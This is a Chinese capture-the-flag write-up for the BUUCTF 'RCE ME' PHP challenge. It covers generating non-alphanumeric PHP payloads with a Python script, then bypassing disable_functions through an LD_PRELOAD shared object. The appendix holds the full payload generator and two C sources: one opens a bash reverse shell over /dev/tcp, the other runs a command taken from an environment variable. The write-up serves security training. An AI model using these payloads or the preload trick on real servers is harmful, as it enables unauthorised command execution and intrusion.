Loading

[NEW][BUUCTF题解][极客大挑战 2019]RCE ME

### 写在前面

其实在21年4月份写过本题的WP,但那个也1年前的版本了,当时那个绕过disable_function是蚁剑一把梭,这次手动过下;再就是RCE脚本更新下,在之后对那个RCE脚本填了些功能(虽然写的还是烂Xwx)。

知识点

  • 无字符RCE
  • PHP绕过disable_function

过程

做题前先收集下信息(扫目录+检查HTTP报文+查看初始页面HTML代码),但只找到这个页面(显然)。

image-20220320133640834

生成payload直接用脚本(脚本放于文末附录了)就好了,现阶段脚本新增加了&、|的构造方式(自增构造payload太长了就没有写)和正则过滤(这个功能很逊建议别用),至于本题由于长度有限制所以采用最短的~构造payload。

image-20220320140512983

然后用蚁剑连接。

image-20220320140604519

然后可以在根目录找到flag并发现我们无法执行系统命令。

image-20220320141349920

image-20220320141357060

查看下phpinfo信息就会发现执行系统命令的相关函数均被disable_function给过滤了。

image-20220320141531229

那么接下来就是绕过disable_function了,通过对phpinfo信息的检查可以排除FastCGI和FFI两种方法,所以这里采用LD_PRELOAD来绕过disable_function(以下so文件对应的c文件会放文末附录中)(其实还有个PHP7 GC UAF的方法,但是摸了XD)。

这里是第一种弹shell用法,先传so到tmp目录。

image-20220320151330228

然后VPS上监听。

image-20220320151521084

接着去触发。

image-20220320151600386

随机VPS那边收到了shell,但是有亿点问题。

image-20220320151710190

image-20220320152016692这就超出知识范围了,然后百度找了下解决方法,然而...

image-20220320152704634

image-20220320152725459

没办法采用第二种直接执行命令的方法,还是先传so(这里重启了下环境,不知道为啥没重启前一直不成功)。

image-20220320161638389

这里对执行命令的输入采用的是设置系统变量,输出则是采用写文件并读取,所以可以直接在PHP页面看到结果。

image-20220320162005841

附录

#脚本很菜,各位师傅见谅XwX
from typing import final
import string

def realHex(num):
    if num <16:
        return "%0"+hex(num)[2:] 
    else:
        return '%'+hex(num)[2:]
pattern=input("请输入正则过滤式,没有则直接回车跳过\n")
#正则表达式修饰符re.I大小写不敏感,re.M多行匹配,影响^和$,re.S使得.匹配包括换行在内的所有字符,re.U根据Unicode字符集解析字符,影响\w,\W,\b,\B
#建议回车跳过,这个功能很逊
if pattern != "":
    import re
    blacklist=["`","'",'"',"\\"]
    for i in range(32,255):
        if  re.search(pattern,chr(i),re.I):
            blacklist.append(chr(i))
else:
    #blacklist列表中的字符在生成的拼接字符串中不会被使用,除了部分是被过滤掉的字符,其余的如',"等字符考虑可能会导致闭合等问题暂列入
    #如果有其他的要求可以对blacklist列表进行删改
    #!注意对于|和&来说拼凑字符是相当困难的,并且可用范围实际上是31-255,这就导致了要这样用必须引号包裹,否则大概率GG
    #比如{,},;,|,&,$等诸多符号不带引号会导致无法使用
    blacklist=[]
    for word in string.ascii_letters+string.digits:
        blacklist.append(word)
    blacklist+=[" ","^","~","|","'",'"',"\\"]
#print(blacklist)
#不同于取反,一个目标字符串使用异或的方式可以获大量的可用拼接字符串,这里只取了1种组合的拼接字符串
#如果需要获得更多拼接字符串查看该函数中的result列表

def yiHuo(string):
    global operationEffient
    global blacklist
    operationEffient=False
    result=[]
    finalstr='""^""'
    rawstr=string
    for i in range(0,len(rawstr)):
        result.extend([[]])
    for k in range(0,len(rawstr)):
        #这里更换范围
        for i in range(1,255):
           if(chr(i) not in blacklist):
               #这里更换范围
                for j in range(1,255):
                    if(chr(j) not in blacklist):
                        if(i^j==ord(rawstr[k]) and [hex(j).replace('0x',"%"),hex(i).replace('0x',"%")] not in result[k]):
                            result[k].extend([[realHex(i),realHex(j)]])
    #在这里往下的函数部分,result列表均是可用的(已填充了获得的拼接字符串)
    for i in range(0,len(result)):
        if(len(result[i])==0):
            return("该字符在现有黑名单和字符范围下无法拼接出->%s"%(rawstr[i]))
    for i in range(0,len(rawstr)):
        finalstr=finalstr[:finalstr.find("^",0)-1]+result[i][0][0]+'"'+finalstr[finalstr.find("^",0):]
        finalstr=finalstr[:finalstr.rfind("'",0)]+result[i][0][1]+finalstr[finalstr.rfind('"',0):]   
    return finalstr
def quFan(string):
    global operationEffient
    global blacklist
    operationEffient=False
    result=[]
    finalstr='~""'
    rawstr=string
    for i in range(0,len(rawstr)):
        result.extend([[]])
    for k in range(0,len(rawstr)):
        #这里更换范围
        for i in range(1,255):
           if(chr(i) not in blacklist and chr(int(bin(~i & 0xFF)[2:],2))==rawstr[k]):
               result[k].extend([realHex(i)])
    #print(result)
    for i in range(0,len(result)):
        if(len(result[i])==0):
            return("该字符在现有黑名单和字符范围下无法拼接出->%s"%(rawstr[i]))
    for i in range(0,len(rawstr)):
        finalstr=finalstr[:finalstr.rfind('"',0)]+result[i][0]+finalstr[finalstr.rfind('"',0):]
    return finalstr
def rce_and(string):
    global operationEffient
    global blacklist
    operationEffient=False
    rawstring=string
    result=[]
    finalstr=""
    for i in range(0,len(rawstring)):
        result.extend([[]])
    for l in range(0,len(rawstring)):
        for i in range(1,255):
            for j in range(1,255):
                if (chr(j) in blacklist) or (chr(i) in blacklist):
                    continue
                if chr(i&j)==rawstring[l]:
                    #注意&在URL特殊含义,故需要URL编码
                    result[l].append("\""+realHex(i)+"\"%26\""+realHex(j)+"\"")
                    continue
    for i in range(0,len(result)):
        if(len(result[i])==0):
            print("该字符在现有黑名单和字符范围下无法拼接出->%s"%(rawstring[i]))
            return
    for i in range(0,len(result)):
        if i == 0:
            finalstr+="({})".format(result[i][0])
        else:
            finalstr+=".({})".format(result[i][0])      
    return finalstr
def rce_or(string):
    global operationEffient
    global blacklist
    operationEffient=False
    rawstring=string
    result=[]
    finalstr=""
    for i in range(0,len(rawstring)):
        result.extend([[]])
    for l in range(0,len(rawstring)):
        for i in range(1,255):
            for j in range(1,255):
                if (chr(j) in blacklist) or (chr(i) in blacklist):
                    continue
                if chr(i|j)==rawstring[l]:
                    result[l].append("\""+realHex(i)+"\"|\""+realHex(j)+"\"")
                    continue
    for i in range(0,len(result)):
        if(len(result[i])==0):
            print("该字符在现有黑名单和字符范围下无法拼接出->%s"%(rawstring[i]))
            return
    for i in range(0,len(result)):
        if i == 0:
            finalstr+="({})".format(result[i][0])
        else:
            finalstr+=".({})".format(result[i][0])      
    return finalstr
while(True):
    operationEffient=True
    target=input("请输入待转换字符\n")
    while(operationEffient):
        operation=input("请选择操作\n0->重新输入\n1->使用异或拼接\n2->使用取反获得\n3->使用二进制和\n4->使用二进制或\n")
        if(operation=="1"):
            result=yiHuo(target)
            pass
        elif(operation=="2"):
            result=quFan(target)
            pass
        elif(operation=='3'):
            result=rce_and(target)
            pass
        elif(operation=='4'):
            result=rce_or(target)
            pass
        elif(operation=="0"):
            break
        else:
            print("选择的操作无效")
            continue
        if result!='':
            print(result)

生成对应so文件需要指令gcc xxx.c -fPIC -shared -o xxx.so

//evil.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'");
}
//plus.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    const char* cmdline = getenv("EVIL_CMDLINE");
    system(cmdline);
}
posted @ 2022-03-20 22:04  Article_kelp  阅读(819)  评论(0编辑  收藏  举报